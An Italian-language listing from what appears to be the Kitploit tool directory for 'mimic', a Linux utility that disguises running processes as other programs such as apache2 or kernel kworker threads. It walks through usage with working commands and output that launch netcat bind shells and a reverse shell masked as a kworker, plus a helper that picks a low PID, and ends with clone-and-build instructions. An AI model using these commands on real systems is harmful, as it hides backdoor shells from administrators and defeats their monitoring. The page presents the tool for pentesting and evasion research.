Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
mimic — Nascondere i processi come utente normale in Linux. | Kitploit
Strumenti/GitHubGitHub/emptymonkey/mimic
Evasione IDS/IPSPenetration TestingRed Teaming
GitHubemptymonkey/mimic

mimic

Nascondere i processi come utente normale in Linux.

Vedi Repository
263512 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

mimic

mimic è uno strumento per esecuzione nascosta su Linux x86_64.

Cos'è l'«esecuzione nascosta»?

L'esecuzione nascosta è l'arte di nascondere un processo. In questo caso, mimic nasconde il processo in piena vista. mimic può avviare qualsiasi programma e farlo sembrare un altro programma. Qualsiasi utente può usarlo. Non richiede permessi speciali. Non richiede binari speciali. Non richiede un root kit.

Cosa?! Nessun privilegio speciale??

Esatto. mimic funziona riorganizzando le strutture interne di un processo in modo tale da confondere l'entry /proc per quel processo. Tutti gli strumenti che riportano la natura di un processo lo fanno esaminando /proc. Se riusciamo a piegare /proc, possiamo nascondere un processo in piena vista. Poiché stiamo solo alterando lo stato di un processo di nostra proprietà, chiunque può eseguire con successo mimic.

Può essere rilevato?!

Certo, ma solo se si guarda molto attentamente o si esegue uno strumento forense che cerca questo tipo di cose. L'utilità di mimic è che impedirà a qualcuno di diventare sospetto in primo luogo.

Funziona con gli script?

Sì, ma devi chiamare mimic direttamente sull'interprete. Ad esempio, se la prima riga del tuo script è "#!/usr/bin/perl", allora dovrai chiamare mimic in questo modo:

root@kitploit:~
empty@monkey:~$ mimic -e "/usr/bin/perl test.pl" 

Invocando direttamente l'interprete, mimic può fare la sua magia.

Chi è il pubblico di destinazione di mimic?

Chiunque abbia legittimamente bisogno di esecuzione nascosta prima di aver ottenuto i permessi di root. Questo include, ma non è limitato a:

  • Pentesters.
  • Investigatori che svolgono operazioni di copertura (con la previa approvazione dei loro dipartimenti legali e HR, ovviamente.)

Perché si chiama "mimic"?

Perché "Liar, liar, /proc on fire!" era troppo lungo.

Cos'è "set_target_pid"?

set_target_pid è un piccolo programma di aiuto nella suite mimic che esaurirà i pid finché quello che desideri non tornerà indietro. Questo ti permette di scegliere dove nella lista dei processi vuoi che si trovi il tuo processo. Nota che il kernel riserva i primi 300 pid per i thread del kernel. Se provi ad andare al di sotto di quello, probabilmente finirai per eseguire con pid 301.

Utilizzo

root@kitploit:~
usage: mimic -e COMMAND [-m MIMIC] [-b] [-a KEY=VALUE] [-q] [-h]
	-e	Execute COMMAND.
	-m	Setup COMMAND to look like MIMIC.
			Default for non-root is:    "/usr/sbin/apache2 -k start"
			Default for root is:        "[kworker/0:0]"
	-b	Launch COMMAND in the background.
	-a	Add / overwrite KEY to the mimic environment with associated VALUE.
	-q	Be quiet! Do not print normal output.
	-h	Print this helpful message.

	Notes:
		The MIMIC environment will be a copy of the COMMAND environment.
		The '_' variable is automatically changed.
		The -a flag can be called multiple times to add / overwrite multiple variables.

	Examples:
		mimic -e /bin/bash
		set_target_pid 1 && mimic -e /bin/bash
		mimic -b -e "./revsh"
		mimic -b -e "nc -l -e /bin/bash"
		mimic -b -e "nc -l -e \"mimic -e /bin/bash\""

Esempi

Primo esempio - Avvio di un netcat listener come utente normale:

root@kitploit:~
empty@monkey:~$ ./mimic -b -e "/usr/local/bin/ncat -l -e \"./mimic -e /bin/bash\""
Launching child...                  Success!
Waiting for child to attach...      Success!
Initializing ptrace_do...           Success!
Determining stack state...          Success!
Politely requesting name change...  Success!
Searching for main()...             Success!
Building execution headers...       Success!
Setting up final state...           Success!

	Good-bye and have a good luck! :)

empty@monkey:~$ ps aux | grep apache
empty     1931 19.5  0.0  16648  1324 pts/1    S    21:41   0:02 /usr/sbin/apache2 -k start
empty     1935  0.0  0.0   7596   836 pts/1    S+   21:41   0:00 grep apache

empty@monkey:~$ sudo lsof -i -n -P | grep apache
[sudo] password for empty: 
apache2  1931 empty    3u  IPv6  14462      0t0  TCP *:31337 (LISTEN)
apache2  1931 empty    4u  IPv4  14463      0t0  TCP *:31337 (LISTEN)

Secondo esempio - Avvio di una reverse shell netcat come root:

root@kitploit:~
root@monkey:~$ /home/empty/code/mimic/set_target_pid 1 && /home/empty/code/mimic/mimic -b -q -e "/usr/local/bin/ncat -e \"/home/empty/code/mimic/mimic -e \\\"/bin/bash\\\"\" localhost 9999"

Riesci a individuare i falsi kworkers? Saresti in grado di farlo senza l'aiuto di grep?

root@kitploit:~
root@monkey:~$ ps aux | grep kworker | grep -v grep
root        18  0.0  0.0      0     0 ?        S    19:39   0:00 [kworker/3:0]
root       197  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:3]
root       198  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:4]
root       199  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:5]
root       302 23.4  0.0  18748  1912 pts/5    S    22:28   0:02 [kworker/0:0]
root       304 11.4  0.0   3780   296 pts/5    S    22:28   0:00 [kworker/0:0]              
root       305 10.8  0.0  10644  1200 pts/5    S    22:28   0:00 [kworker/0:0]
root       426  0.0  0.0      0     0 ?        S    20:20   0:00 [kworker/1:0]
root       434  0.0  0.0      0     0 ?        S    20:20   0:00 [kworker/3:2]
root       536  0.0  0.0      0     0 ?        S    20:12   0:00 [kworker/0:0]
root       879  0.0  0.0      0     0 ?        S    20:39   0:00 [kworker/2:0]
root      1463  0.0  0.0      0     0 ?        S    19:39   0:00 [kworker/1:2]
root      2132  0.0  0.0      0     0 ?        S    19:47   0:00 [kworker/2:2]
root      2607  0.0  0.0      0     0 ?        S    20:01   0:01 [kworker/0:1]

Ovviamente, nessun kworker dovrebbe avere un socket aperto, ma sono sicuro che puoi essere più creativo con le tue scelte di nomi di quanto non sia questo. :)

root@kitploit:~
root@monkey:~$ lsof -i -n -P | grep kworker
kworker/0  302  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0  304  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0  305  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)

Nota che sto eseguendo qui come root solo perché un thread kworker dovrebbe essere molto sospetto se eseguito come utente non root. Il nuovo nome mimic è solo una stringa. Non deve essere un processo esistente. Diavolo, non deve nemmeno essere una cosa reale!

root@kitploit:~
empty@monkey:~$ code/mimic/mimic -q -e /bin/bash -m "Totally not a rootkit\!"

empty@monkey:~$ ps aux | grep rootkit | grep -v grep
empty      399  2.9  0.0   3780   300 pts/4    S    22:34   0:00 Totally not a rootkit!          
empty      400  2.7  0.0  19372  2044 pts/4    S    22:34   0:00 Totally not a rootkit!

Installazione

root@kitploit:~
git clone https://github.com/emptymonkey/ptrace_do.git
cd ptrace_do
make
cd ..

git clone https://github.com/emptymonkey/mimic.git
cd mimic
make
Scarica lo strumento